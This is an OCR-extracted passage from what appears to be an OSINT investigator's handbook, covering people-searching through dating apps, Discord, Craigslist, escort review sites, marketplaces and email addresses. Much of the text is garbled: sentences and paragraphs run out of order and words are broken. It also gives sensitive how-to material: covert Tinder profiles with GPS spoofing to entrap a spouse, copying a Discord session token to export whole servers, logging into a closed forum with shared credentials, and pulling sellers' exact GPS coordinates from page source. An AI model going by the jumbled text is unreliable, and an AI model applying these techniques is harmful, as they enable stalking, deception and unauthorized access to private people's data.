profiles, which is usually free. • You must have a premium (paid) account to contact anyone. • If a target uses one dating service, he or she likely uses others. When investigating cheating spouses, background information, personal character, or applicant details, dating sites can lead to interesting evidence. The presence of a dating profile does not mean anything by itself. Millions of people successfully use these services to find mates. When a target's profile is located, it will usually lead to personal information that cannot be found anywhere else. \Xzhile many people may restrict personal details on social networks such as Facebook, they tend to let down their guard on these intimate dating websites. In my experience, the following will apply to practically evety dating website. Username: Evety dating website requires a username to be associated with the profile, and this data is searchable. Surprisingly, most users choose a username that has been used somewhere else. I have seen many dating profiles that hide a person's real name and location, but possess the same username as a Twitter account. The Twitter account then identifies name, location, and friends. Additional username tools are presented later. Instead of explaining each of the dating services, I will focus on methodology of searching all of them. While each website is unique and possesses a specific way of searching, they are all very similar. Overall, there are three standard search techniques that I have found useful, and they are each identified below. Text Search: This is a technique that is often overlooked. Most dating network profiles include an area where the users can describe themselves in their own words. This freeform area often includes misspellings and obvious grammatical errors. These can be searched to identify additional dating networks since many users simply copy and paste their biography from one site to another. In 2013,1 was teaching an OSINT course in Canada. During a break, one of the attendees asked for assistance with a sexual assault case that involved the dating website Plenty Of Fish. The unknown suspect would meet women through the online service and assault them. All of the information on his profile was fake, and the photos were of poor quality and unhelpful. Together, we copied and pasted each sentence that he had written in his bio for the profile. Eventually, we found one that was very unique and grammatically worded poorly. A quoted Google search of this sentence provided only one result It was die real profile of the suspect on Match.com, under his real name, that contained the same sentence describing himself. The high-quality photos on this legitimate page were used to verify that he was the suspect. Photo Search: In later chapters, I explain how to conduct reverse-image searching across multiple websites. This technique can compare an image you find on a dating network with images across all social networks, identifying any matches. This will often convert an "anonymous" dating profile into a fully-identifiable social network page. This applies to any dating networks, and photos will be your most reliable way of identifying your target. Tinder (tinder.com) rently begun allowing 245 Online Communities • Connect to a public Wi-Fi location, without a VPN, near your target. • Click the Login button at tinder.com and choose "Log In With Phone Number". • Supply a Google Voice number. • Confirm the text message received on Google Voice number. • Complete registration with alias name and photo. Real World Application: I have two recent experiences with covert Tinder accounts to share. The first is a human trafficking investigation with which I was asked to assist. The investigation unit received information that a well-known pimp had recruited several children to enter his world of prostitution. He was not promoting them on websites, as he believed it was too risky. Instead, he posted profiles to Tinder while located at a run- in order to access Tinder from your web browser, several things must be perfectly aligned in order to prevent account blocking. Tinder gets bombarded with fraudulent accounts, and their radar for investigative use is very sensitive. The following instructions assume that you do not have an existing Tinder account While this service was once natively available only through a mobile app, they have recc account access via their website. However, 1 find this to be full of frustration. In order to access Tinder via their web interface, you must provide either Facebook account information or a mobile telephone number. I never advise connecting any third-part}' service to any covert Facebook account, so that option is out Instead, you can provide a Google Voice number, which is a bit more acceptable. Supply a covert Google Voice telephone number and prepare for the issues. Instead, I keep an old Android phone ready for any Tinder investigations. I have the Tinder app installed along with the "Fake GPS Location" app. 1 keep the Tinder app logged in using a covert Google Voice number. Before I open Tinder, 1 set my desired location through the Fake GPS Location application. Upon loading Tinder, 1 can control the search settings through the app. I usually choose to limit the search to a few miles away from my target's location. In my experience, this will not work on an iPhone due to GPS spoofing restrictions. Since Tinder actively blocks emulators, connecting through VirtualBox or Genymotion does not work. This will simply require a dedicated Android device. These instructions may seem simple, and too good to be true. They are. Tinder has begun blocking any type of GPS spoofing, even if done manually through the browser inspector. They focus much more on the networks through which you are connected. The previous edition explained ways to spoof GPS within your browser and pretend to be at another location. In my experience, these tricks simply do not work anymore. If you are able to connect through the web version of Tinder, it is unlikely to be of any use. Furthermore, your "matches" will likely be far away from your actual location. Personally, I no longer try to make this work. First, Tinder will send you a text message with a code to verify your number. Supplying this code to Tinder passes the first hurdle. If you are using a VPN, you will immediately be sent to a series of tests to verify you are human. If you have been annoyed by Google Captcha pop-ups in the past, Tinder's options take frustration to a new level. In most scenarios, you will be asked to complete a series of 20 small tasks. In my experience, completing them perfectly results in a failure report 99% of the time. Tinder simply does not like a combination of a VOIP number and a VPN. Providing a real cellular number seems to pacify Tinder somewhat Providing a true number and internet connection without a VPN seems to make it happy. However, you sacrifice privacy and security in order to do so. If you accept these risks, you can proceed with the web-based access to Tinder. After I explain the process, I will present my chosen solution. A section about online dating would not be complete without a reference to Tinder. The simplest explanation of Tinder is that it connects you with people in your immediate geographical area who are also using the service. Some call it a dating app, some refer to it as a "hook-up" app. Either way, it is probably the most popular dating service available today. Tinder Profiles Discord (discord.com) 246 Chapter 14 https:/Avww.gotinder.eom/@Tom911 https://www.godnder.eom/@MikeB The other example I have presents a much different view of Tinder usage. An attorney reached out requesting assistance with a cheating spouse investigation. He was looking for evidence which confirmed the husband was involved with other women. He provided several images of die man and common locations which he was known to frequent. After many failures, I had Tinder launched with the GPS spoofed to the suspect’s office. I claimed to be a woman looking for a man his age, and 1 was eventually presented an image of my target. I swiped right, as did he, and we began a conversation. The evidence piled up immediately. Tinder users can optionally create a username within the network. Instead of being limited to the identity of "Tom, 30, NYC", a user can claim a specific username such as Tom911. This generates a web profile which can be seen publicly (often unknowingly to the user). The following format would display a user with that username. Both should connect to active profiles with multiple photos of each target. • You must receive some type of invite in order to join a server. Once you have an invite, joining is easy and covert details are accepted. You can often find generic invite links within related forums or simply by asking a member of the server. Administrators will know that you joined, but will only see the details you provided during registration. down motel. From several states away, I spoofed my GPS on my Android device to the motel of interest. I set my search settings for females within five miles aged 18-19.1 immediately observed two images of what appeared to be young girls in a shady motel room. 1 "swiped right" to indicate interest, and was immediately contacted by the pimp pretending to be one of the girls. We agreed on a price and he disclosed the room number. The local agency working the case began immediate surveillance while a search warrant was obtained. While waiting, they arrested two men before the "date" could begin, and also arrested the pimp after a search warrant was obtained for the room. What photo should you use? First, uploading one photo and vague information to your account looks suspicious. Prodding images of other people without their consent is wrong. Using stock photography from the internet will quickly get you banned from Tinder. 1 rely heavily on Fiverr (fiverr.com). I search for people willing to send unique photos of themselves for a few dollars. 1 once paid a 21-year-old woman $30 for five "selfies" while dressed in different outfits. I received a signed consent form allowing me to upload them to Tinder with the intent of luring cheating spouses. At first, she assumed I was a pervert with a unique fetish. After my explanation, she loved the idea and was eager to assist. Discord is a free voice, video, and text chat application and digital distribution platform which was originally designed for the video gaming community. Today, it is heavily used within various hacking, doxing, and other communities associated with cybercrime. Some call it a modern-day IRC replacement. Discord allows users to create virtual servers which further divide into text and voice channels. Discord stores unlimited logs of all channels within every server. Anybody who joins a Discord server has full access to all server history. Access to a Discord server is granted through invites in the form of a URL. Discord is classified as a "deep web" resource, as Discord servers are unable to be indexed by conventional search engines such as Google. I present two initial thoughts on Discord investigative techniques. If you open the source code view of these profiles, we can dig deeper. Searching "birth_date" for user MikeB reveals "1996-11-24" while ""_id" displays "5571c5edb47cba401e0cf68b". We now know the date of birth and Tinder user ID of our target. If he should change his name or username, we still have a unique identifier which could be checked within a new profile. https://disboard.org/server/join/605819996546924544 https://discord.com/invite/DbtGker menu. Online Communities 247 I was greeted with a login window asking for the name I wished to use in the channel. I provided OSINTAuthor and completed a Captcha. I was immediately given an error which demanded a cellular telephone number in order to join this server. This is common when using a VPN, hardened browser, and guest login. Therefore, I never recommend this route. Instead, register for a Discord account at https://discord.com/register, but take a few precautions. In my experience, creating the account from within Chrome appears less "suspicious" than Firefox. Connecting from a network without a VPN seems to allow registration while an IP address from a VPN results in another telephone demand. Therefore, I create a handful of accounts any time I am at a hotel or library. I create them from within my Windows VM using Chrome on the public Wi-Fi without a VPN. These accounts can be stored until needed. • Clone your Original Windows 10 virtual machine previously created (Section One). • Tide your new VM "Discord" and conduct the following inside the Windows VM. • Download and install the Discord app from https://discord.com/download. • Download the first file tided "DiscordChatExporter.zip" from the website located at https:/1 github.com/Tyrrrz/DiscordChatExporter/releases. • Extract the contents of the zip file to your Windows VM Desktop. • Launch DiscordChatExporter.exe from within the new folder. • Launch the Discord app, provide your account credentials, and connect to the target Discord server (example: https://discord.com/invite/DbtGker). • Press "Ctrl" + "Shift" + "I" on the keyboard to launch the Discord developer options. • Click the arrows in the upper right and select "Application". • Double-click "Local Storage" and select "https://discord.com". • Press "Ctrl" + "R" on the keyboard and look for "Token" in the right • Select and copy the entire token key (without the quotes). • Paste the token into the DiscordChatExporter program and click the arrow. • Select the desired target server on the left and the target channel on the right. • Choose the "CSV" export format and leave the dates empty. • Choose the save location and click "Export". This immediately forwarded to the Discord link at the following address. This is the official invitation link which could be shared by members of the channel. I found it through Disboard because someone from the group likely posted the details with the intent of increasing usage. If you do not find any servers of interest on Disboard, try Discord Me (discord.me). Let’s conduct a demonstration of finding, joining, and archiving a Discord server. First, I navigated to Disboard (disboard.org). This free service indexes numerous Discord servers which have open invitations. I conducted a search for the term "osint" and received one result of "Team Omega Cybersecurity and Analysis". The static Disboard link was the following. • Once you are in the server, you should have access to complete chat history since inception. In 2018,1 was asked to assist the podcast Reply All with an investigation into the OG Users Discord. Members of this group stole social network accounts from random people and sold them to each other and the public. The primary avenue for communication was through a designated Discord server. The episode is tided 130-The Snapchat Thief if you want to hear more. I prefer to conduct all Discord investigations within their official Windows application while inside a virtual machine. Conduct the following steps to replicate my Discord machine. Board Reader (boardreadcr.com) Next, we are notified if the 248 Chapter 14 can think of the subject, an entire usually referred to as user forums. user has deleted any posts in the past 31 days, as follows. 0% of this handle's posts in the last 31 days have been deleted As a general rule, most people will use the same username across several sites. Craigslist is no exception. If you have identified a username of a target, a search on the Craigslist forums is worth a look. Although you will not get a result ever}' time you search, the commentary is usually colorful when you do. When you locate a username of a target on the Craigslist forums, searching that username on other sites could provide an abundance of information. Discord is not the only platform for this type of communication, but I find it to be the most popular with amateur cyber criminals. Slack (slack.com) appears ver}' similar, but it is targeted more toward professionals. Riot (about.riot.im) and Tox (tox.chat) each possess encrypted communications and better overall security, but adoption is lower than Discord. I believe you should be familiar with all of these environments, and be ready for an investigation within any of them. I keep an investigation VM with all four applications installed and configured. This can be a huge time-saver when the need arises. The result is a text-only CSV file with the entire contents of the exported server and channel. You should repeat this process for each channel of your target server. In 2019,1 located a Discord server used to share file-sharing links to recent data breaches. I exported all of the content, which included thousands of links to mega.nz, Google Drive, Dropbox, and other hosts. The day after I created the export, the Discord server was removed due to policy violations. However, 1 already had the full export and could investigate the links at my own pace. If desired, you could export an HTML report which would be much more graphically pleasing. 1 prefer the CSV option because 1 can import and manipulate the text easier than an HTML web page. https://forums.craigslist.org/?act=su&handle=honeygarlic This page also provides two valuable pieces of information. The first line identifies the date the account was created and number of days since inception. Our example appears as follows. since: 2004-06-16 06:40 (5992 days) Online forums provide a unique place for discussion about any topic. If you site full of people is probably hosting a discussion about the topic. These are Sometimes, these sites are excluded from being indexed by search engines. This can make locating them difficult. A new wave of forum search sites fills this void. Board Reader queries many forum communities, message boards, discussion threads, and other general interest groups which post messages back and forth. It also offers an advanced search which allows you to choose keywords, language, date range, and specific domain. If you have trouble filtering results on other forum search sites, this can be useful. Craigslist Forums (forums.craigslist.org) This forum is categorized by topic instead of location, but location filtering is supported. These forums arc not indexed by most search engines, so a manual search is the only way to see the content. In order to search these areas, you may be required to create a free user account. As usual, you can use fictitious information in your profile. After logging in, you can search by keyword on this main page, but nor by screen name. This option will identify posts matching the search terms within any of the topics. The Handle" option would search by username, but the search field for this query was removed in 2020. Fortunately, we can replicate it with a URL. The following URL displays all posts within the past 31 days by Craigslist user "honeygarlic". Online Prostitution Escort Review Websites The Erotic Review (theeroticreview.com) Online Newspaper Comments Online Communities 249 https://escortfish.ch/ https://www.humaniplex.com http://ibackpage.com/ https://escortindex.com/ https://onebackpage.com/ https://openadultdirectory.com https://preferred411 .com/ https://sipsap.com/ http://skipthegames.com/ https://www.slixa.com/ https://www.stripperweb.com http://theotherboard.com/ https://www.tsescorts.com/ https://www.tnaboard.com/ https://5escons.com/ https://www.bedpage.com/ https://cityoflove.com/ https://cityxguide.com/ http://craigslistgirls.com/ https://www.eros.com/ https://www.escort-ads.com/ Craigslist was once used by many prostitutes nationwide as an avenue to meeting "Johns". Likewise, many people used the site to locate a prostitute. In 2009, Craigslist was forced to remove the "Erotic Services" section that hosted these posts announcing this activity. In 2018, Backpage was forced offline and seized by various government agencies. Today, it is difficult to find a post offering prostitution on Craigslist and impossible on Backpage. This does not mean that the prostitutes and their clients simply stopped the potentially illegal behavior. Instead, they found new resources. There are many sites online that aid in prostitution and human trafficking. A few of the big players are listed here. 1 encourage you to investigate which services are applicable to your cities of interest. These types of services may be difficult for some readers to understand. 1 was also surprised when I first found them. This is where prostitution clients communicate with each other and leave reviews of their experiences with the prostitutes. These "Johns" document the slightest details of the experience including price, cleanliness, and accuracy of the photograph in the ad. Furthermore, this is the first location that will announce an undercover operation by the police. This is important for law enforcement, as this could create an officer safety issue. It is also how the police can determine when a new name or photo should be used in future covert ads. Another purpose for this data is to create documentation of the reviews of an arrested prostitute. This can prove to be valuable in court for the prosecution of offenses. There are several of these services, and evety metropolitan area will have a preferred website by the customers. A Google search of "Escort rexnews Anaheim" will get you to the popular options. Of course, replace Anaheim with your city' of interest. Practically every newspaper now has some sort of online presence. Most digital editions allow readers to leave comments about individual articles. These comments can usually be seen at the bottom of each web page. While the value that these comments add to the newsworthiness of each piece of news is debatable, the content can be important to an investigation. In years past, most newspapers hosted their own digital comment delivery’ If you do not know of any individual sendees that prostitution clients are using in your area, The Erotic Review is a safe ben Practically every’ metropolitan area has a presence here. Much of this site will not be available unless you join as a premium member. However, there should be plenty of visible free content for basic investigations. Most of the posts are unsuitable for this book. At the time of this writing, this site was blocking U.S. IP addresses. Switching my VPN to Canada or any’ other country’ bypassed the restriction. Real World Application: While participating in an FBI Operation, I focused on locating juvenile prostitutes and w’omen forced into the sex industry’ by pimps. One easy’ way to determine if a sex worker wras traveling extensively’ was to search her number through various escort websites. If it returned numerous cities with postings, that was a strong indication that she was a full-time sex worker and was likely not traveling alone. Every’ contact that we made with traveling prostitutes resulted in the identification of the pimps that transported them to the stings. "osint" "disqus" "comments" posts only. You 250 Chapter 14 This may produce some non-Disqus results that happen to possess all three words, but those should be rare. This wall also identify many pages that do not contain any comments whatsoever. In order to only receive results that actually have comments, alter your search to the following. "osint" "disqus" "1..999 comments" system within their website. This often resulted in a large headache while trying to maintain order, prevent feuds between readers, and delete direct threats. Today, most news websites use third-party sendees to host these comments. The most popular are Facebook and Disqus. When Facebook is utilized, most people use their real names and behave better than when using only a username on Disqus. Any complaints about the comment activity can be referred to Facebook since they technically store the content. Searching Facebook comments can be conducted through the technique previously explained. In order to search for content within the Disqus comment system, you can conduct a custom Google search. First, it is important to understand how the Disqus system is recognized by Google. There is an option to log in to a Disqus account and you can "upvote" or "downvote" each comment to show your approval. The words visible on this page that were provided by Disqus are important for the search. The word "comments" will be visible on every Disqus provided environment and there will also be a link to disqus.com. Therefore, the following search on Google should provide any websites that have the Disqus comment delivery system and also have a reference to OSINT. This instructs Google to only display results that contain the keywords "OSINT" and "Disqus" and also contain the exact phrase of any number between 1 and 999 followed immediately by the term "comments". This would provide results that contain any number of comments with the exception of "0" or over "1000". The "1..999" portion is the Google range operator that will display any number within the specified range. Craigslist Auctions (craigslist.org) raigs st is one big online classified ad for every area of the world. The site can case the pain of finding an apartment; provide numerous options for buying a vehicle locally; or assist in locating just about any item or sen ice that you can imagine that is within driving distance of your home. It is also a landing spot for stolen goo s, egal services, and illicit affairs. While Craigslist offers a search option, the results are limited to active posts o y. \ou can also only search within one category at a time. You can browse through the posts individually, but this will be overwhelming. Government and private investigators have found much success in locating stolen goods within this site. To sLait, you must find the Craigslist site for your area. Often, simpfy visiting craigslist.org will direct you to the an ing page for your geographical area. If this does not happen, navigate through your country, then your state, t en your metropolitan area to see listings around you. If the theft occurred recently, a live search in rhe "for s e section may produce results. I do not recommend searching from the main page, as there are no advanced options. Instead, click on any section title. For example, clicking on the "for sale" section will take us to that arefl fii tOP' th.6 Pa8c have a search field that will search all of the categories in this section. Additionally, we can ter yr price range, posts that contain images, or terms that only appear in the title of the post. Craigslist also has features that allow' you to view results by list view, gallery' view, or map view. These locations wi o „ y' re er to the city of the item, and not exact GPS location. The gallery' view can be used as a "photo neup to i entify a stolen item. The map view can be beneficial when only' looking for items within surrounding °ur ncw °P°ons on the upper right of every’ result page allow you to sort the items by' newest listings ( c au t), re cvance, lowest price, and highest price. Most pages with items for sale will also allow yo u to filter tic resu ts so that only' items being sold by individuals are listed. This would eliminate businesses and dealers. c e a t is to show both, and I recommend it unless you are overwhelmed by' the number of results. The results that are still current will link to the actual post and display all content of the post If a search result links to a post that has been deleted from Craigslist, a standard "page not found" error will be returned. ou can still get additional information from this deleted post by looldng through the text supplied on this search page. The brief description will often disclose an email address or telephone number. Some listings may have a cached view, but lately this has been rare. In a scenario where thousands of search results are presented by Google or Bing, you can add search terms to filter to a more manageable number of posts. Adding the make or model number of the product may quickly identify the stolen property. Craigslist has a few advanced search operators that may be of interest. It supports a phrase search with quotation marks such as "low miles". It accepts the hyphen (-) operator to exclude terms such as honda black -red. This search finds postings that have 'honda' and 'black' but not 'red'. A pipe symbol (|) provides "OR" searches such as honda | toyota. This search finds postings that have 'honda' or 'toyota* (or both). You can group terms together in parentheses when queries are complicated. A search of red (toyota | honda) -2000 -2001 finds listings that have 'red' and either 'honda' or 'toyota' (or both) but do not have 2000 or 2001. Wildcards arc as follows. Another way to search Craigslist posts is to identify screen names. Craigslist discourages inserting a screen name or email address within a post; however, most people have figured out how to bypass this limitation. Instead of someone typing their email address within their posts, they will insert spaces between the first portion of the email address (username) and the second portion of the email address (domain name). For example, instead of the user typing their email address as [email protected], he or she may identify the account as "JohnDoe911 at gmail com". This would be enough to prevent Craigslist's servers from identifying the text as an email address and prohibiting the post. Fortunately for the investigator, this information is indexed by Craigslist and other search engines to be retrieved. You can also search by terms other than the product of interest. Many people that use Craigslist do not want to communicate through email sent from the website. Most users will include a telephone number in the post as a preferred method of communication. The overwhelming majority of these telephone numbers belong to the cellular telephone of the user submitting the post. This can be a huge piece of intelligence for an investigator attempting to identify a person associated with a telephone number. It is common that a criminal will purchase a cellular telephone with cash and add minutes to it as needed. This makes it difficult for someone to identify the criminal from the phone number. Ironically, the same criminal will post the telephone number as well as a name on a public internet site for the world to see. Sometimes, a person will post both a cellular and a landline telephone number on the same post. This allows an investigator to associate these two numbers, and a quick internet search should identify the owner of the landline telephone number. If a thief sells the item on Craigslist, he or she will usually delete the post after the transaction is complete. If the post is deleted, it will not be listed in the results of a search on Craigslist This is where Google and Bing come into play. Both Google and Bing collect information from Craigslist posts to include in their search results. This collection can never be complete, but a large archive of posts is available. Searching Google or Bing with "sitexraigslist.org" (without quotes) will search through archived posts on Craigslist that are both active and removed. Similar to the previous example, you can search "site:craigslist.org laptop Edwardsville" (without the quotes). This search produced 572 results that match these criteria on Google. These include the current posts that were available with the live search on craigslist.org as well as posts that have been recently deleted from Craigslist. If you wanted to focus only on a specific regional area of Craigslist, changing the search to "site:stlouis.craigslist.org laptop Edwardsville" would filter results. This example would only show listings from the St. Louis section of Craigslist. You can use any region in your custom searches. You can search any keyword in either the official Craigslist site or on Google and Bing using the "site" operator. In my experience, Bing offers more results of archived Craigslist posts than Google. If you do not have success with Bing, Google should be searched as well. Many private investigators find the "personals" section of interest. The "Casual encounters" area is well known for extramarital affairs. If you want to only search all live Craigslist posts, regardless of which geographical area it exists, you can use sites such as totalcraigsearch.com, adhuntr.com, and searchalljunk.com. Online Communities 251 eBay Auctions (ebay.com) Flippity (flippity.com) 252 Chapter 14 Bond* civ* (match "honda civic", "honda civil", etc.) wood floo* (matches "wood floors", "wood flooring", etc.) iphone* (matches "iphone", "iphones", "iphone5", etc.) Keyword: ebay.com/dsc/i.html?&LH_TitleDesc= 1 &_nkw=TERMS Sold: ebay.com/sch/i.html?_from=R40&_nkw=TERMS&LH_Sold=1 &LH_Complete=l Complete: https://www.ebay.com/sch/i.html?_from=R40&_nkw=TERMS&LH_Complete=l Username: https://www.ebay.com/usr/USER User Feedback: https://feedback.ebay.com/ws/eBayISAPI.dll?ViewFeedback2&userid=USER User Items: https://www.ebay.com/sch/USER/rn.html User http://www.ebay.com/sch/ebayadvsearch/?_ec= 104&_sofindtype=25&_userid=USER User Followers: https://www.ebay.eom/usr/USER/followers#followers User Following: https://www.ebay.com/usr/USER/all-fol]ows?priflwtype=peop)e#people eBay is an online auction site. Since the site requires a user’s financial information or valid credit card to post items for sale, many thieves have moved to Craigslist to unload stolen goods. eBay offers an advanced search that will allow filters that limit to auctions from a specific location, or specified distance from the location. On any search page, there is an "Advanced" button that will display new options. Of these options, there is a category tided "show results". The last option in this category is tided "items near me". Here, you can select a zip code and filter results to a minimum of 10 miles from the zip code selected. This will now allow you to search for any item and the results will all be from sellers near a specific zip code. This location option will remain active as you search for different keywords. These searches will only search current auctions that have not expired. In order to search past auctions, select the "Completed listings" option under the category of "Search including". If you want to conduct your searches directly from a URL, or if you want to bookmark queries that will be repeated often, use the following structure. Replace TERMS with your search keywords and USER with your target's username. Real World Application: Many thieves will turn to the internet to unload stolen items. While eBay requires banking information or a credit card to use their services, most thieves prefer Craigslist's offer of anonymity. My local police department successfully located a valuable stolen instrument this way and set up a sting to arrest the thief. Often, the thief will be willing to bring the item to you in order to get some quick cash. Another tip that has helped me during investigations is to look for similar backgrounds. When I had a group of gang members stealing iPhones from vehicles and pockets, they would sell them right away on Craigslist. Since there were hundreds of legitimate iPhones listed, identifying the stolen units can be difficult. By looking for similarities in the backgrounds, 1 could filter the list into interesting candidates. Finding unique backgrounds, such as tables or flooring, within several posts can be suspicious. Additionally, I have found posts that include "hurry", "must sell today", and "1 will come to you" to be indicators of illegal activity. Craigslist's email alert feature has made third-party tools for this purpose unnecessary'. After logging in to your account, you can customize alerts to send an email to you when specific search terms are located. An alternative to the location feature on the official eBay site is Flippity. This site performs the same function as mentioned previously, but with less work on the user's part. The results of your search will appear on a map with the ability to minimize and expand the radius as desired. This is a quick way to monitor any type of items being sold in a specific community. GoofBid (goofbid.com) Search Tempest (searchtempest.com) OfferUp (offerup.com) Amazon (amazon.com) FakcSpot (fakespot.com) Online Communities 253 Not everyone uses spellcheck. Some people, especially criminals, will rush to list an item to sell without ensuring that the spelling and grammar are correct. You could conduct numerous searches using various misspelled words, or you can use GoofBid. This site will take your correcdy spelled keyword search and attempt the same search with the most commonly misspelled variations of the search terms. Another alternative to this service is Fat Fingers (fatfingers.com). This technique of using Google or Bing to search for profiles on websites that do not allow such a search can be applied practically everywhere. Many sites discourage the searching of profiles, but a search on Google such as "site:targetwebsite.com John Doe" would provide links to content matching the criteria. The difficulty arises in locating all of the sites where a person may have a profile. By now, you can search the major communities, but it is difficult to keep up with all of the lesser-known networks. Amazon is the largest online retailer. Users flock to the site to make purchases of anything imaginable. After th*! receipt of die items ordered, Amazon often generates an email requesting the user to rate the items. This review can only be created if the user is logged in to an account This review is now associated with the user in the user profile. An overwhelming number of users create these product reviews and provide their real information on the profile for their Amazon account. While Amazon does not have an area to search for this information by username, you can do it with a search engine. A search on Google of site:amazon.com followed by any target name may link to an Amazon profile and several item reviews. The first link displays the user profile including photo, location, and the user's review of products purchased. This service is steadily stealing the audience currendy dominated by Craigslist. OfferUp claims to be the simplest way to buy and sell products locally. A search on their main page allows you to specify a keyword and location. The results identify the usual information including item description and approximate location. OfferUp follows the eBay model of including the seller's username and rating. The unique option with OfferUp is the ability to locate the actual GPS coordinates associated with a post instead of a vague city and state. This information is not obvious, but can be quickly obtained. While on any post, right-click and choose to view the page source. Inside this new tab of text should be two properties tided place:location:latitude and placedocationdongitude. You can search for these in your browser by pressing "Ctrl" + "F" (Windows) or "command" + "F" (Mac). Next to these fields should display GPS coordinates. In my experience, these precise identifiers will either identify the exact location of the target, or a location in the neighborhood of the suspect. I would never rely on this all the time, but I have had great success getting close to my targets through this technique. If you find yourself searching multiple geographical areas of Craigslist and eBay, you may desire an automated solution. Search Tempest will allow you to specify the location and perimeter for your search. It will fetch items from Craigslist, eBay, and Amazon. You can specify keywords in order to narrow your search to a specific area. Advanced features allow search of items listed within the previous 24 hours, reduction of duplicates, and filtering by categories. While I encourage the use of these types of services, I always warn people about becoming too reliant on them. These tools could disappear. It is good to understand the manual way of obtaining data. There is an abundance of fake reviews on Amazon, which can make it difficult to determine which rexnews accurately describe a product and which are provided by employees associated with the seller. FakeSpot attempts to identify' products that are likely misrepresented by the review community. During a search for a remote- Pinterest (pinterest.com) BugMeNot (bugmenot.com) IntelTechniques Communities Tool 254 Chapter 14 i Username: https://uavw.pinterest.com/BILL/ User Pins: https://www.pinterest.com/BILL/pins User Boards: https://www.pinterest.com/BlLL/boards User Followers: https://www.pinterest.com/BILL/followers/ User Following: https://www.pinterest.com/BILL/following Pins Search: https://www.pinterest.com/search/pins/?q=CRAFTS Boards Search: https://www.pinterest.com/search/boards/?q=CRAFTS Google Search: https://www.google.com/search?q=site:pinterest.com+CRAFTS Pinterest is an online "pinboard" where users can share photos, links, and content located anywhere on the internet. It is a way to rebroadcast items of interest to a user. People that follow that user on Pinterest can keep updated on things that the user is searching and reading. The search feature on die main website is useful for keyword searches only. It will search for any term and identify posts that include those words within the description. A search of my last name displayed several photos of people. Clicking each of these links will present the full-page view of the photo and any associated comments. This page will also identify the full name of the person that uploaded the content and the original online source. Clicking on the full name of the user will open the user profile which should include all "pinned" content. Unfortunately, you cannot search a person's full name or username on Pinterest and receive a link to their profile page. To do this, you must use Google. The following direct search URLs will identify the usernames (BILL) and keywords (CRAFTS) present on Pinterest. controlled drone, I found that the Amazon "Best Seller" possesses over 53% fake reviews, and top reviewers "tri nguyen" and "EUN SUN LEE" appear to be automated reviewers based on other products. This service also supports analysis of reviewers on Yelp and Trip Advisor. FakeSpot now requires you to install a browser extension. If this sendee is valuable to your investigations, I find this sendee effective. If you rarely need this type of data, 1 would avoid any unnecessary extensions. Similar to the previous search tools, this option attempts to simplify the various search techniques presented within this chapter. Figure 14.05 displays the current view. This tool should replicate all of the specific URLs cited within this topic. While the chances of your target appearing here are lower than large social networks, this resource should not be ignored. In my experience, the details obtained about a target from online communities are usually much more intimate and personal than the public blasts on the larger sites. This utility may violate your departmental policies about online research. BugMeNot allows users to share their logins for various websites with the world. Technically, users of this sendee are giving the public consent to use their credentials in order to access data behind a login. However, this could violate the terms of sendee for a specific website. I once needed to access a private web forum which was hidden behind a login portal. This forum was not accepting new members. Searching the URL on BugMeNot revealed a username and password shared by a member of the forum for public use. This allowed me to access the site and find my desired data. Reddit: [Search Terms [Search Terms [Username User Profile Username [Username [Username [Username | Use rname [Username [Domain iC Communities Tool. Online Communities 255 4Chan: [search Terms Search Terms Search Terms [Search Terms j J I Figure 14.05: The IntelTechniques [Search Terms Search Terms Domain Pinterest: [user Name [User Name | User Name Ebay:______________ Keywords Keywords___________ Keywords____________ [user Name___________ User Name___________ User Name___________ Full or Partial User Name User Name___________ User Name___________ User Name User Name Keywords or Name Keywords or Name Keywords or Name User Search User Pins User Boards User Followers TikTok:^ Username Username Keyword Keyword Keyword Keyword Username Username | Username Meetup: User Name Keywords Keywords_______________ Keywords, location, or Name Profile ~j Profile Search Tags Term Search Video Search Google Search Analytics I Analytics II Analytics III | Tert Search Sold Search Search Terms SuOReddit Name URL [ Keyword Search ] [ Archive Search I j [ Archive Search II ] [ Google Search | ] ______ 1 User Following j Pins Search ) Boards Search | Google Search ) Hacker News (YCombinator): Search Terms Username Username Username Username Search Terms [ User Archive II | I Pushshift User l~~~j ( Pushshift User II j [ Pushshift Comments) [ Pushshift Posts j [ Domain Search J [ | Domain Report ] ( SubReddit Search | Imgur Search Image Search ______ 1 Completed Search | User Account i User Feedback j User Items j User Search | User Followers } User Following j Member Search } Event Search Post Search Google Search [ Keyword Search | ( User Search J [ User Posts ] [ User Comments^ [ Favorites *j [ Google Search j | [ Keyword Search ] If Title Search j | User Profile | User Posts | User Comments | User Archive I ] 256 Chapter 15 each sendee manually, Email Addresses 257 Ch a pt e r f if t e e n Ema il Ad d r e s s e s Google Email: https://google.com/search?q="[email protected]" Google Username: https://google.com/search?q="john.\\'ilson.770891’ Bing Email: https://bing.com/search?q="[email protected]" Bing Username: htrps://bing.com/search?q="john.wilson.77089" Yandex Email: https://yandex.com/search/?text="[email protected]" Yandex Username: https://yandex.com/search/?text="john.wilson.77089" Searching by a person’s real name can be frustrating. If your target has a common name, it is easy to get lost in the results. Even a fairly unique name like mine produces almost 20 people's addresses, profiles, and telephone numbers. If your target is named John Smith, you have a problem. This is why I always prefer to search by email address when available. If you have your target's email address, you will achieve much better results at a faster pace. There may be thousands of John Wilsons, but there would be only one [email protected]. Searching this address within quotation marks on the major search engines is my first preference. This should identify web pages which include the exact details within either the content or the source code. This is the "easy stuff which may present false positives, but should provide immediate evidence to the exposure of the target account. I then typically search the username portion of the email address by itself in case it is in use within other providers, such as Gmail, Hotmail, Twitter, Linkedln, etc. Let's conduct an example assuming that "[email protected]" is your target. You could place this email within quotes and execute through each service manually, or use the following direct search URLs to expedite the process. The sole purpose of the service is to identify’ if an email address is active and currently being used. After entering an email address, you will be presented with immediate results which will identify’ if the address is valid or invalid. Further information will identify’ potential issues with the address. As an example, I searched [email protected], and received the results displayed below. "address": "[email protected]", "username": "book", "domain": "inteltechniques.com", "validFormat": true, "deliverable": true, "fullinbox": false, "hostExists": true, "catchall": true, "gravatar": false, "disposable": false, "free": false When searching for a target by email address, you may find yourself receiving absolutely no results. If this happens, you need to consider whether the email address you are searching is valid. It is possible that the address was copied incorrecdy or is missing a character. There are several websites online that claim to be able to verify’ the validity of an email address. Most of these do not work with many of the free web-based email providers. One service that stands out from this crowd is TruMail. The custom search tools presented at the end of this chapter and the next will automate this entire process. Next, you should verify’ and validate the target email address. TruMail (trumail.io) We will rely on this direct submission when I present the Email Tool at the end of the chapter. Emailrep.io (emailrep.io) 258 Chapter 15 https://api.trumail.io/v2/lookups/[email protected] "email": "[email protected]", "reputation": "high", "suspicious": false, 